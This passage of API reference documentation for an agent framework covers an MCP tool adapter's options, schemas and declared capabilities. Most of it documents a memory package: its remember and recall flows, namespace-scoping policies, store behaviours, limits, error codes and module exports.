`tool_not_found` when `include` names a tool the server does not offer, and with
`protocol_error` when `namePrefix` is empty.

### McpFlows.mcp

```ts
const mcp: (
  client: McpClient.McpClient,
  options?: ProjectionOptions
) => FlowBinding.Source
```

Projects an already-connected session. Total: it applies exact filters to the
catalog it is given and validates nothing.

The client is a precondition rather than a parameter this constructor resolves,
because connecting is scoped and a `Source` is not. A host composes
`McpClient.connect` once, where it composes its other scoped services, and
passes the live client here.

### McpFlows.ProjectionOptions

| Field        | Type                                 | Meaning                                                         |
| ------------ | ------------------------------------ | --------------------------------------------------------------- |
| `include`    | `ReadonlyArray<string> \| undefined` | Exact tool names to project. Omitted or empty means every tool. |
| `exclude`    | `ReadonlyArray<string> \| undefined` | Exact tool names to drop, applied after `include`.              |
| `namePrefix` | `string \| undefined`                | Replaces the default `mcp/<server>` flow-name prefix.           |

### McpFlows.Args

```ts
const Args = Schema.Record(Schema.String, Schema.Unknown)
```

The decoded input accepted by every MCP tool flow. It is permissive because the
remote server, not this adapter, owns argument validation. The registry still
discloses the real parameter shape: each binding carries the server's own
`inputSchema` as its input document.

### McpFlows.Result

```ts
const Result = Schema.Struct({
  content: Schema.Array(Schema.Record(Schema.String, Schema.Unknown)),
  isError: Schema.Boolean,
  structuredContent: Schema.optional(Schema.Record(Schema.String, Schema.Unknown))
})
```

The decoded output returned by every MCP tool flow. `structuredContent` is
absent, not null, when the tool sent none.

### McpFlows.capabilities

```ts
const capabilities: ReadonlyArray<string>
```

The authority every MCP tool flow declares: one exact
`namespace:operation:resource` string per host action, at resource `**`, derived
from `Capability.Action.literals` and frozen.

```ts
;[
  "fs:read:**",
  "fs:write:**",
  "net:get:**",
  "net:post:**",
  "net:private:**",
  "model:call:**",
  "memory:read:**",
  "memory:write:**",
  "proc:spawn:**",
  "jj:status:**",
  "jj:diff:**",
  "jj:snapshot:**",
  "jj:restore:**",
  "jj:workspace-add:**",
  "jj:workspace-forget:**",
  "jj:root:**",
  "jj:revert:**",
  "jj:op-restore:**"
]
```

It is enumerated rather than written as a wildcard because the cell boundary
parses each declaration with `Capability.parse`, which requires exactly three
colon-separated components and treats anything else as unauthorized. Narrowing
this to what a host actually grants is the host's job; see
[Grant authority to MCP tools](https://github.com/smithersai/smithers/blob/main/packages/smithers/mcp/docs/guides/grant-authority-to-mcp-tools.md).

### McpFlows.effects

```ts
const effects: Effects.Declaration // from @smthrs/core/Effects
```

The conservative effect envelope every MCP tool flow declares:

```ts
{
  reads: ["**"],
  writes: ["**"],
  mode: "expected",
  onConflict: "serialize",
  tier: "irreversible"
}
```

The irreversible tier is why an abandoned `tools/call` sends one
`notifications/cancelled` rather than being left in flight.

---

# @smthrs/memory
https://smithers.sh/docs/reference/api/memory/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/memory/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/memory/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/memory/docs)

> **Related APIs:** [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/patterns`](/docs/reference/api/patterns/)

This page covers the parts a flow author touches: the two callable flows, the memory policy that decides which namespace a flow tree reads and writes, and the store behaviors that are easy to get wrong. The [module reference](#module-reference) at the end lists every export; the sections before it explain how those exports behave.

## The two flows

`Flows.remember` writes one record into a bank. `Flows.recall` reads advisory rows out of named banks. Both are declarations: building a graph performs no memory I/O. `Flows.handlersFor(flow)` supplies the runtime bindings for one declaration. `Flows.runRemember` and `Flows.runRecall` are the same implementations callable directly, without a policy.

Each flow also carries an effect declaration, the claim a planner reads before it runs anything: the paths the flow touches, a `mode` (`expected` means these are the paths worth declaring, `hermetic` means these are all of them), an `onConflict` policy saying what to do about another writer of the same path, and a `tier` saying how reversible the effect is. Tiers order from `irreversible` through `compensable` to `sealed`, and a nested declaration may narrow along that order but never widen it. `Flows.rememberEffects` is `irreversible` because it writes; `Flows.recallEffects` is `sealed` because recall declares no writes, so recall nests inside any enclosing declaration without widening it. [Effect envelopes](https://core.smithers.sh/concepts/effects/) in `@smthrs/core` covers the full grammar.

A bank name is the public spelling of a namespace. `Bank.parse` is the validating reader: it answers an `Effect` and rejects an empty or malformed bank with `invalid_namespace`. `Recall.namespaceForBank` is the unvalidated inverse kept for callers that already hold a well-formed bank, and `Recall.bankForNamespace` maps a namespace back. An unprefixed bank is flow-local; a prefix such as `flow-` or `global-` names an explicit lifetime. Because `bank` and `flow-bank` resolve to the same namespace, recall de-duplicates on the resolved namespace rather than on the bank string.

## Memory policies

A delegated plan generates work its author never named, so the memory settings that work runs under cannot be arguments threaded through every call. They are attached to the flow instead.

`WithMemory.Policy` has four fields:

| Field       | Values                | Meaning                                       |
| ----------- | --------------------- | --------------------------------------------- |
| `banks`     | nonempty `BankName[]` | where memory this tree reads and writes lives |
| `recall`    | `"none"`, or absent   | `"none"` refuses recall                       |
| `maxTokens` | integer               | the budget recall answers within              |
| `retain`    | `"never"`, or absent  | `"never"` drops every write                   |

`WithMemory.withMemory(flow, policy)` returns a copy of `flow` carrying the policy, and gives the same policy to every flow that flow declares. The original is untouched. A nested flow that already carries a policy is replaced by this one, so the tree runs under exactly one policy and the inherited answer is predictable. The policy is decoded and frozen at that call, so an invalid policy fails there rather than at a SQL constraint, and mutating the object afterwards changes nothing.

Only a flow whose collaborators are data, one declared with `flows: [...]` and no body, carries children a decorator can rewrite. A flow with a body reaches its collaborators by calling them, and those calls are graph nodes rather than a list, so `WithMemory.children` returns nothing for one. `WithMemory.references` is the wider view: it includes registry names the runtime has not resolved to a flow yet, which a policy carries through untouched.

A policy is an annotation, and an annotation takes no part in flow identity. Applying one never changes the graph a flow plans, node for node.

### Reading a policy back

`Flows.runRecallFor(flow, input)` and `Flows.runRememberFor(flow, input)` read the policy, and `Flows.handlersFor(flow)` is the pair a host binds. The policy namespace is the only namespace these scoped handlers may read or write:

- `runRecallFor` fills an empty `banks` list with all policy banks. Every explicit bank must resolve to a policy bank, matching both `kind` and `id`. A foreign bank fails the whole request with `invalid_namespace` before the recall service runs, including requests that mix allowed and foreign banks.
- `runRememberFor` resolves an empty bank to the first policy bank. An explicit foreign bank fails with `invalid_namespace` before the store runs.
- Equivalent spellings are allowed: `release-notes` and `flow-release-notes` both resolve to `{ kind: "flow", id: "release-notes" }`. There is no additional readable-bank list.
- `maxTokens` remains a default: the policy budget applies only when the caller omits it.

Two policy values short-circuit before bank validation or I/O:

- `recall: "none"` returns no rows and never reaches the recall service.
- `retain: "never"` drops the write. The caller still receives the key it asked for, and nothing reaches the store.

The boundary applies through `Flows.handlersFor` on a policy-carrying declaration, or through `runRecallFor` and `runRememberFor`. Given a declaration that carries no policy, these fail closed with `invalid_namespace` before any I/O. Bare handlers, direct `runRecall` / `runRemember` calls, recall services, and store methods do not enforce flow policies. Hosts must bind the scoped declarations for model-facing access.

```ts
import { Flows, WithMemory } from "@smthrs/memory"
import { Effect } from "effect"

const scoped = WithMemory.withMemory(Flows.recall, {
  banks: ["flow-release-notes"],
  maxTokens: 2048
})

const recalled = Effect.gen(function*() {
  return yield* Flows.runRecallFor(scoped, { banks: [], query: "changelog" })
})
```

### Binding a policy-carrying declaration

Bind the same declaration the caller will run. For delegated work that is the copy `withMemory` produced, not the bare export, so bind it through `handlersFor`:

```ts
import { FlowBinding } from "@smthrs/harness"

const bound = WithMemory.withMemory(Flows.recall, policy)
const binding = FlowBinding.make({ flow: bound, handler: Flows.handlersFor(bound).recall })
```

The copy keeps the declaration's input and output schemas, which is what makes that call compile: `FlowBinding.make` reads `flow.input` to type the handler. A flow held as `Flow.Any`, the existential a pattern passes around, stays `Flow.Any`.

Every handler takes exactly one argument, the decoded flow input, because `FlowBinding.make` types its handler as `(input, call)` and passes the `Call` in the second position. Run coordinates are bound instead, once, when the handler is built: `Flows.handlersFor(flow, { runId, nodeId, iteration })` records them on every fact its `remember` writes, and `Flows.runRememberWith(provenance)` is the same thing without a policy. A provenance parameter on the handler itself would receive the `Call` and persist it as the fact's provenance.

Binding `Flows.recall` with `Flows.runRecall` reaches the store with no namespace, no budget cap, and no way to honor `recall: "none"`.

## MemoryTrellis

`MemoryTrellis.make` is the delegation case. `Trellis.make` runs the plans a model authors, one durable round per plan, so a leaf is known only when its round runs and cannot be handed a namespace at declaration time. `MemoryTrellis.make` applies one policy to the author, to the leaf, to the optional continuation, and to the memory flows those declare, then annotates the trellis itself.

It takes what `Trellis.make` takes, plus `memory`. `Trellis.make` accepts any member it can record a call to; a memory trellis needs more of its author and its leaf, because a policy is an annotation and a member states no annotation bag, so both are declarations here. The `envelope` is the bound the authored plan is admitted under: `fuel` is the total number of leaf calls the plan may make, `depth` the nesting it may reach, and `fanout` the members any one group may hold.

```ts
import { MemoryTrellis } from "@smthrs/memory"

const trellis = MemoryTrellis.make({
  author: planner,
  leaf: worker,
  envelope: { fuel: 6, depth: 3, fanout: 3 },
  memory: {
    banks: ["flow-release-notes"],
    maxTokens: 2048
  }
})
```

The graph is the plain trellis graph, node for node. `MemoryTrellis.parts` returns the scoped author and leaf on their own, for a caller that composes them itself rather than calling the declared flow: calling the originals instead loses the policy.

See the [`@smthrs/patterns` reference](/docs/reference/api/patterns/) and its [delegation guide](https://smithers-patterns.smithers.sh/delegation/) for the trellis itself.

## Store behaviors worth knowing

These are the answers that surprise callers most often.

- `listNotes` defaults `status` to `"accepted"`. Pending and rejected notes are hidden unless you ask for them by name or pass `"any"`.
- A message id is unique within its thread, not globally. The same id in two threads is two messages. A same-thread retry whose `role`, `text`, or `at` differs fails with `idempotency_conflict` and a path to the first field that differs.
- `appendMessage` creates a missing thread for you, in the `global` namespace under the id `history`. Call `createThread` first when the thread belongs somewhere else.
- `maxTokens` is a UTF-8 byte ceiling over the serialized result array, not a token count. Bytes conservatively bound tokens without committing the package to one model's tokenizer. `Source.Input.maxBytes` is a separate ceiling on the rendered snapshot.
- `capRecallResults` drops rows with empty text before it fills the budget.
- Fact values are stored as JSON, so the value `getFact` returns is the value `JSON.stringify` produced: `NaN` and `Infinity` become `null`, `undefined`, function, and symbol members disappear, and sparse arrays collapse. The value is serialized once at API entry, and the stored JSON, the search text, the retained tags, and any vector projection all come from that one snapshot.
- `RecallKeyword` normalizes both query and row text to NFKC before matching. SQLite full text search does not, so the two bindings can disagree on compatibility-equivalent characters.
- The authoritative store writes no embedding vectors. Semantic projection is opt-in through `RecallSemantic.decorateStore`, and `RecallSemantic.recall` scans all eligible vectors in the selected banks under the requested model, retaining only its result budget.
- TTL garbage collection is complete: `Maintenance.ttlGc` removes the expired fact, its full text projection, and its vector rows in one transaction.

### Published ceilings

| Ceiling                              | Value  | Enforced at                               |
| ------------------------------------ | ------ | ----------------------------------------- |
| `Namespace.MAX_TAGS`                 | 16     | tag decode                                |
| `Namespace.MAX_TAG_GROUP_DEPTH`      | 8      | tag-group decode and matching             |
| `Namespace.MAX_TAG_GROUP_NODES`      | 64     | tag-group decode and matching             |
| `Recall.MAX_RECALL_BANKS`            | 16     | `Recall.Input` decode                     |
| `Recall.MAX_RECALL_BANK_NAME_LENGTH` | 128    | `Recall.Input` and `RememberInput` decode |
| `Recall.MAX_RECALL_QUERY_BYTES`      | 16,384 | `Recall.Input` decode                     |
| `Recall.MAX_RECALL_TOKENS`           | 65,536 | `Recall.Input` and `Policy`               |
| `Recall.MAX_RECALL_TAG_GROUPS`       | 16     | `Recall.Input` decode                     |
| `Flows.MAX_REMEMBER_KEY_BYTES`       | 1,024  | `RememberInput` decode                    |
| `Flows.MAX_REMEMBER_TEXT_BYTES`      | 16,384 | `RememberInput` decode                    |

Each tag group is bounded on its own, and the group list is bounded too: every group is evaluated against every candidate row by every binding, so an unbounded list would multiply the per-group budget without limit.

### What a read limit counts

`searchRows.records` and `searchFts.records` optionally restrict the read to at most 64 exact `{ kind, id }` identities, while preserving namespace, TTL, status, supersession, and tag filtering. An empty array selects nothing. Each identity requires kind `fact` or `note` and a nonempty id.

`limit` on `listFacts`, `listNotes`, `listMessages`, `searchRows` and `searchFts` bounds the rows the caller receives, after every status, supersession and tag-group filter on the same input. It is not a bound on the rows the query examines, and a bounded read never under-fills while matching rows remain.

Statuses and supersession are answered in SQL. Tag groups are answered by `Namespace.matches`, the single source of truth for the five match modes, so a tag-filtered read walks the namespace in bounded pages until it has `limit` matches. Working-set memory stays proportional to one page, never to the namespace.

Note and fact pages continue from the last examined timestamp and id, preserving ascending ids within timestamp ties. Inserts or deletes before the cursor do not shift later pages. These reads are not snapshots; updates that move a fact across the cursor may affect results.

FTS rank pages share one transaction because BM25 depends on the corpus, and filtered FTS reads use 512-row pages. The SQLite transaction holds off writers until the scan finishes.

Use `tagGroups: [group]` for one tag predicate. Multiple groups are conjunctive; the singular `tagGroup` input is no longer supported.

## Failure codes

`MemoryError.code` is the stable machine-readable answer, and `MemoryError.path` points at the offending field when one exists. `invalid_argument` means the caller passed something wrong; `store` means the backend failed. They are never the same code.

| Code                    | Meaning                                                           |
| ----------------------- | ----------------------------------------------------------------- |
| `not_found`             | the addressed record does not exist                               |
| `fts_not_enabled`       | the namespace kind has not opted into full text search            |
| `invalid_namespace`     | a namespace or bank name is empty or malformed                    |
| `invalid_tag`           | a tag or tag group violates the vocabulary or a published ceiling |
| `invalid_argument`      | any other rejected argument, with a `path` to the field           |
| `supersede_conflict`    | a supersession request contradicts what is already stored         |
| `idempotency_conflict`  | different creation data on retry, or an existing summary id       |
| `compaction_conflict`   | a summarized source row disappeared or its payload changed        |
| `embedding_unavailable` | the embedding provider failed or answered an invalid batch        |
| `vector_model_mismatch` | a stored vector under the requested model has the wrong dimension |
| `store`                 | the backend failed                                                |

[Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/memory/docs/troubleshooting.md) maps each code to its cause and fix.

## Module reference

Every module is importable from the root as a namespace and from its own subpath; the tables use the subpath form. [Import surface](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/memory/docs/surface.md) documents the exports map.

### `@smthrs/memory/Bank`

| Export  | Signature                                          | Behavior                                                                                                                                                 |
| ------- | -------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `parse` | `(bank: string) => Effect<Namespace, MemoryError>` | The validating reader for bank names. Rejects an empty or malformed bank with `invalid_namespace`. The unvalidated inverse is `Recall.namespaceForBank`. |

### `@smthrs/memory/Database`

| Export            | Signature | Behavior                                                                                                                                                                                                                        |
| ----------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `DatabaseService` | interface | The query and serialized-write capabilities memory SQL adapters need: a `SqlClient.SqlClient` plus the `DurableWriter` write contract from [`@smthrs/database`](/docs/reference/api/database/). `RecallSemantic.makeSqlVectorStore` accepts it. |

### `@smthrs/memory/Embedding`

| Export              | Signature                                                   | Behavior                                                                                                                                                            |
| ------------------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `EmbedResponse`     | interface                                                   | One returned vector: `{ vector: ReadonlyArray<number> }`.                                                                                                           |
| `EmbedManyResponse` | interface                                                   | An ordered batch: `{ embeddings: ReadonlyArray<EmbedResponse> }`.                                                                                                   |
| `EmbedMany`         | type                                                        | The injectable provider function: `(inputs) => Effect<ReadonlyArray<ReadonlyArray<number>>, MemoryError>`.                                                          |
| `Service`           | interface                                                   | `embed(input)` for one input and `embedMany(inputs)` for an ordered batch.                                                                                          |
| `Embedding`         | `Context.Service` tag `flows/memory/Embedding`              | The context tag semantic recall reads.                                                                                                                              |
| `make`              | `(embedMany: EmbedMany) => Service`                         | Builds the service and validates every batch: count match, non-zero and uniform dimensions, finite components. An invalid batch fails with `embedding_unavailable`. |
| `layer`             | `(embedMany: EmbedMany) => Layer<Embedding>`                | Provides an injectable provider.                                                                                                                                    |
| `makeNoop`          | `() => Service`                                             | A non-empty request fails with `embedding_unavailable`: no embedding provider is configured. An empty batch returns `{ embeddings: [] }`.                           |
| `layerNoop`         | `Layer<Embedding>`                                          | Provides the unavailable implementation.                                                                                                                            |
| `layerFake`         | `(vectors \| (input, index) => vector) => Layer<Embedding>` | Provides a deterministic implementation for tests and local integrations.                                                                                           |
| `inProcessModel`    | `"flows-embedding/in-process-v1"`                           | Stable model identity for the built-in projection.                                                                                                                  |
| `inProcessVector`   | `(input: string) => ReadonlyArray<number>`                  | Computes the deterministic local v1 vector: a character hash into 64 dimensions over NFKC-normalized input. Lexical, not semantic; for tests and offline runs.      |
| `makeInProcess`     | `() => Service`                                             | Constructs the deterministic in-process implementation.                                                                                                             |
| `layerInProcess`    | `Layer<Embedding>`                                          | Provides in-process embeddings with no provider dependency.                                                                                                         |

### `@smthrs/memory/Flows`

The `mode`, `onConflict`, and `tier` values in the two effect declarations below are the vocabulary defined under [The two flows](#the-two-flows).

| Export                         | Signature                                                                                    | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| ------------------------------ | -------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `rememberName`                 | `"remember"`                                                                                 | The registry name of the `remember` flow.                                                                                                                                                                                                                                                                                                                                                                                                           |
| `recallName`                   | `"recall"`                                                                                   | The registry name of the `recall` flow.                                                                                                                                                                                                                                                                                                                                                                                                             |
| `rememberDescription`          | `"Persist a memory record in a named bank."`                                                 | The one-line description the model sees for `remember`.                                                                                                                                                                                                                                                                                                                                                                                             |
| `recallDescription`            | `"Recall advisory memory rows from named banks."`                                            | The one-line description the model sees for `recall`.                                                                                                                                                                                                                                                                                                                                                                                               |
| `MAX_REMEMBER_KEY_BYTES`       | `1024`                                                                                       | Maximum UTF-8 bytes in a remembered key.                                                                                                                                                                                                                                                                                                                                                                                                            |
| `MAX_REMEMBER_TEXT_BYTES`      | `16384`                                                                                      | Maximum UTF-8 bytes in a remembered text, the recall query cap.                                                                                                                                                                                                                                                                                                                                                                                     |
| `RESERVED_REMEMBER_TAG_PREFIX` | `"source:"`                                                                                  | The tag prefix `remember` refuses with `invalid_tag`: only a host writing through the store may claim a record's source.                                                                                                                                                                                                                                                                                                                            |
| `RememberInput`                | schema                                                                                       | `{ bank, key, text, tags?, ttlMs? }`. `bank` is `Recall.BankName`, so every remembered fact is in a bank recall can name. `key` is non-empty and at most `MAX_REMEMBER_KEY_BYTES` UTF-8 bytes; `text` is at most `MAX_REMEMBER_TEXT_BYTES`. Tags use `Namespace.Tags`, so model decoding and durable writes enforce the same vocabulary, uniqueness rule, and 16-tag cap. A `source:` tag fails with `invalid_tag`, in decode and in `runRemember`. |
| `RememberOutput`               | schema                                                                                       | `{ key }`.                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `RecallInput`                  | schema                                                                                       | `Recall.Input`.                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `RecallOutput`                 | schema                                                                                       | `Recall.Output`.                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `rememberEffects`              | `Effects` declaration                                                                        | Reads and writes `memory/**`, mode `expected`, conflict policy `serialize`, tier `irreversible`.                                                                                                                                                                                                                                                                                                                                                    |
| `recallEffects`                | `Effects` declaration                                                                        | Reads `memory/**`, writes nothing, mode `expected`, conflict policy `fail`, tier `sealed`.                                                                                                                                                                                                                                                                                                                                                          |
| `remember`                     | `Flow` declaration                                                                           | Declaration for a memory write. Performs no I/O while a graph builds.                                                                                                                                                                                                                                                                                                                                                                               |
| `recall`                       | `Flow` declaration                                                                           | Declaration for advisory memory recall. Performs no I/O while a graph builds.                                                                                                                                                                                                                                                                                                                                                                       |
| `bindRecall`                   | `(supplied: Flow.Any) => Flow.Any`                                                           | Resolves the recall slot to a supplied flow, through `Pattern.bind`.                                                                                                                                                                                                                                                                                                                                                                                |
| `runRememberWith`              | `(provenance) => (input: RememberInput) => Effect<RememberOutput, MemoryError, MemoryStore>` | Runtime binding carrying explicit provenance, bound once when a host builds the handler. Stores the fact value `{ content: text }`.                                                                                                                                                                                                                                                                                                                 |
| `runRemember`                  | `(input: RememberInput) => Effect<RememberOutput, MemoryError, MemoryStore>`                 | Runtime binding with no provenance. Takes exactly one argument so a host can hand it to `FlowBinding.make`.                                                                                                                                                                                                                                                                                                                                         |
| `runRecall`                    | `(input: RecallInput) => Effect<RecallOutput, MemoryError, Recall>`                          | Delegates to whichever recall service the context provides.                                                                                                                                                                                                                                                                                                                                                                                         |
| `runRecallFor`                 | `(flow: Flow.Any, input: RecallInput) => Effect<RecallOutput, MemoryError, Recall>`          | Defaults empty banks and the budget; rejects foreign namespaces with `invalid_namespace` before recall. `recall: "none"` short-circuits to no rows.                                                                                                                                                                                                                                                                                                 |
| `runRememberFor`               | `(flow, input, provenance = {}) => Effect<RememberOutput, MemoryError, MemoryStore>`         | Defaults an empty bank; rejects foreign namespaces with `invalid_namespace` before writing. `retain: "never"` short-circuits to `{ key }`.                                                                                                                                                                                                                                                                                                          |
| `Handlers`                     | interface                                                                                    | The one-argument `remember` and `recall` handlers one bound declaration answers with.                                                                                                                                                                                                                                                                                                                                                               |
| `handlersFor`                  | `(flow: Flow.Any, provenance = {}) => Handlers`                                              | Builds the handlers for one memory declaration, reading the policy it carries and binding provenance once.                                                                                                                                                                                                                                                                                                                                          |
| `RememberInputType`            | type                                                                                         | What the `remember` flow accepts.                                                                                                                                                                                                                                                                                                                                                                                                                   |

### `@smthrs/memory/Maintenance`

| Export                 | Signature                                                                   | Behavior                                                                                                                                                                                                                                                                                                                                           |
| ---------------------- | --------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `TtlGcResult`          | interface                                                                   | `{ deletedFacts: number }`.                                                                                                                                                                                                                                                                                                                        |
| `ttlGc`                | `Effect<TtlGcResult, MemoryError, MemoryStore>`                             | Deletes facts whose TTL has elapsed, with their full text and vector projections, in one finite pass.                                                                                                                                                                                                                                              |
| `TtlGcScheduleOptions` | interface                                                                   | `{ interval? }`; `interval` defaults to ten minutes.                                                                                                                                                                                                                                                                                               |
| `layerTtlGc`           | `(options?) => Layer<never, never, MemoryStore>`                            | Runs `ttlGc` at build and on every interval while the scope is open, in a span named `Maintenance.ttlGc`. Logs a count when a pass deletes rows and a warning when one fails; the next pass still runs. The Smithers host composes it wherever it builds the memory store.                                                                         |
| `TokenLimiterOptions`  | interface                                                                   | `{ maxTokens, charsPerToken? }`; `charsPerToken` defaults to 4.                                                                                                                                                                                                                                                                                    |
| `TokenLimiterResult`   | interface                                                                   | `{ deletedMessages: number }`.                                                                                                                                                                                                                                                                                                                     |
| `limitHistory`         | `(options) => Effect<TokenLimiterResult, MemoryError, MemoryStore>`         | Deletes the oldest messages in every thread until each thread fits the approximate budget `maxTokens * charsPerToken` characters.                                                                                                                                                                                                                  |
| `SummarizerInput`      | interface                                                                   | `{ threadId, messages, rendered }`: the old messages and their rendered `role: text` lines.                                                                                                                                                                                                                                                        |
| `Summarizer`           | interface                                                                   | `{ summarize(input): Effect<string, E, R> }`: the injected summarization route.                                                                                                                                                                                                                                                                    |
| `CompactionOptions`    | interface                                                                   | `{ summarizer, threadId?, keepRecent?, maxMessagesPerSummary?, makeSummaryId? }`; `keepRecent` defaults to 2, `maxMessagesPerSummary` to 1024 and must be at least 2.                                                                                                                                                                              |
| `CompactionResult`     | interface                                                                   | `{ compactedThreads: number, deletedMessages: number }`.                                                                                                                                                                                                                                                                                           |
| `compact`              | `(options) => Effect<CompactionResult, E \| MemoryError, R \| MemoryStore>` | Summarizes old history in windows of at most `maxMessagesPerSummary` messages, each atomically replaced by one summary that the next window folds in. The summarizer runs before each write transaction; interruption before a commit leaves that window's sources intact. `deletedMessages` counts every deleted row, including folded summaries. |

### `@smthrs/memory/MemoryError`

| Export            | Signature                                            | Behavior                                                                                                    |
| ----------------- | ---------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- |
| `MemoryErrorCode` | schema and type                                      | The eleven stable codes listed in [Failure codes](#failure-codes).                                          |
| `MemoryError`     | `Schema.TaggedError`, tag `flows/memory/MemoryError` | The error raised by memory validation, storage, search, and projection: `{ code, message, path?, cause? }`. |

### `@smthrs/memory/MemoryStore`

Model types, all plain interfaces unless noted:

| Export                 | Shape                                                                                                                                 |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| `Provenance`           | `{ runId?, nodeId?, iteration? }`: explicit run coordinates attached to a write.                                                      |
| `Fact`                 | `{ namespace, key, value, tags?, ttlMs?, provenance, createdAtMs, updatedAtMs }`.                                                     |
| `PutFactInput`         | `{ namespace, key, value, tags?, ttlMs?, provenance }`; `value` is stored through a `JSON.stringify` round trip.                      |
| `GetFactInput`         | `{ namespace, key }`.                                                                                                                 |
| `ListFactsInput`       | `{ namespace, prefix?, limit? }`.                                                                                                     |
| `Thread`               | `{ id, namespace, title?, metadata?, createdAtMs, updatedAtMs }`.                                                                     |
| `CreateThreadInput`    | `{ id?, namespace, title?, metadata? }`.                                                                                              |
| `ListThreadsInput`     | `{ namespace? }`.                                                                                                                     |
| `GetThreadInput`       | `{ threadId }`.                                                                                                                       |
| `DeleteThreadInput`    | `{ threadId }`.                                                                                                                       |
| `Message`              | `{ threadId, id, role, text, at }`.                                                                                                   |
| `AppendMessageInput`   | `Message`: an idempotent append, with the id unique within its thread.                                                                |
| `ListMessagesInput`    | `{ threadId, limit?, cursor? }`.                                                                                                      |
| `MessageCursor`        | `{ at, id }`: a stable exclusive cursor for ordered pagination.                                                                       |
| `MessageStats`         | `{ messages, codePoints, bytes }`: one thread's size bounds; its JavaScript string length lies between `codePoints` and `bytes`.      |
| `GetNoteInput`         | `{ id }`.                                                                                                                             |
| `NoteStatus`           | schema and type: `"pending"`, `"accepted"`, `"rejected"`; the only mutable state on an append-only note.                              |
| `Note`                 | `{ namespace, id, text, tags, provenance, status, createdAtMs }`.                                                                     |
| `PutNoteInput`         | `{ namespace, id, text, tags, provenance, status?, supersedes? }`; `supersedes` persists in the same write transaction.               |
| `SetNoteStatusInput`   | `{ id, status }`.                                                                                                                     |
| `SupersedeInput`       | `{ supersederId, targetId }`.                                                                                                         |
| `NamespaceInput`       | `Namespace \| string`: a structured namespace or a bank name; explicit prefixes keep their lifetime, unprefixed banks are flow-local. |
| `StatusFilter`         | `NoteStatus \| "any" \| ReadonlyArray<NoteStatus>`.                                                                                   |
| `ListNotesInput`       | `{ namespace, prefix?, limit?, tagGroups?, status?, includeSuperseded? }`.                                                            |
| `SearchRow`            | `{ id, kind: "fact" \| "note", bank, namespace, key, text, tags, updatedAtMs, status? }`: the normalized row recall bindings consume. |
| `SearchRowsInput`      | `ListNotesInput` with a `limit` that counts merged fact and note rows passing every filter.                                           |
| `EnableFtsInput`       | `Namespace.Kind`.                                                                                                                     |
| `SearchFtsInput`       | `SearchRowsInput` plus `query`.                                                                                                       |
| `FtsRow`               | `SearchRow` plus `rank` (raw SQLite BM25) and `score`.                                                                                |
| `CompactMessagesInput` | `{ threadId, summary: Message, sourceMessages: ReadonlyArray<Message> }`.                                                             |

The service tag is `MemoryStore`, `Context.Service` tag `flows/memory/MemoryStore`. Every operation fails only with `MemoryError`:

| Operation            | Signature                                         | Behavior                                                                                                                                                |
| -------------------- | ------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `putFact`            | `(PutFactInput) => Effect<void>`                  | Last-write-wins upsert. Each update restarts the TTL clock and refreshes the FTS projection.                                                            |
| `getFact`            | `(GetFactInput) => Effect<Fact \| undefined>`     | Answers the current fact, or `undefined` when it is missing or expired.                                                                                 |
| `deleteFact`         | `(GetFactInput) => Effect<boolean>`               | Deletes the fact with its FTS and vector rows; answers whether a row existed.                                                                           |
| `listFacts`          | `(ListFactsInput) => Effect<Fact[]>`              | Ordered by key, excluding expired facts; optional key `prefix` and `limit`.                                                                             |
| `listAllFacts`       | `Effect<Fact[]>`                                  | Every unexpired fact, ordered by namespace and key.                                                                                                     |
| `createThread`       | `(CreateThreadInput) => Effect<Thread>`           | Generates an id when omitted. Idempotent on identical creation data; a conflict fails `idempotency_conflict`.                                           |
| `getThread`          | `(GetThreadInput) => Effect<Thread \| undefined>` | Exact read by id.                                                                                                                                       |
| `listThreads`        | `(ListThreadsInput?) => Effect<Thread[]>`         | All threads, or one namespace's, ordered by creation.                                                                                                   |
| `deleteThread`       | `(DeleteThreadInput) => Effect<boolean>`          | Deletes the thread and all its messages.                                                                                                                |
| `appendMessage`      | `(AppendMessageInput) => Effect<void>`            | Creates a missing thread in the `global` namespace under the id `history`. An identical retry is a no-op; a differing one fails `idempotency_conflict`. |
| `listMessages`       | `(ListMessagesInput) => Effect<Message[]>`        | Ordered by `(at, id)`; paginate with the exclusive `cursor`.                                                                                            |
| `countMessages`      | `(ListMessagesInput) => Effect<number>`           | Counts one thread's messages.                                                                                                                           |
| `messageStats`       | `({ threadId }) => Effect<MessageStats>`          | One SQL aggregate: message count, summed code points, and summed stored bytes, without reading message bodies.                                          |
| `putNote`            | `(PutNoteInput) => Effect<Note>`                  | Append-only insert; `status` defaults to `accepted`. An identical re-put is a no-op; a differing one fails `supersede_conflict`.                        |
| `getNote`            | `(GetNoteInput) => Effect<Note \| undefined>`     | Exact read by globally unique id.                                                                                                                       |
| `setNoteStatus`      | `(SetNoteStatusInput) => Effect<void>`            | The status gate. An unknown id fails `not_found`.                                                                                                       |
| `supersede`          | `(SupersedeInput) => Effect<void>`                | Adds a supersession edge. Both notes must exist and share a namespace; violations fail `supersede_conflict`.                                            |
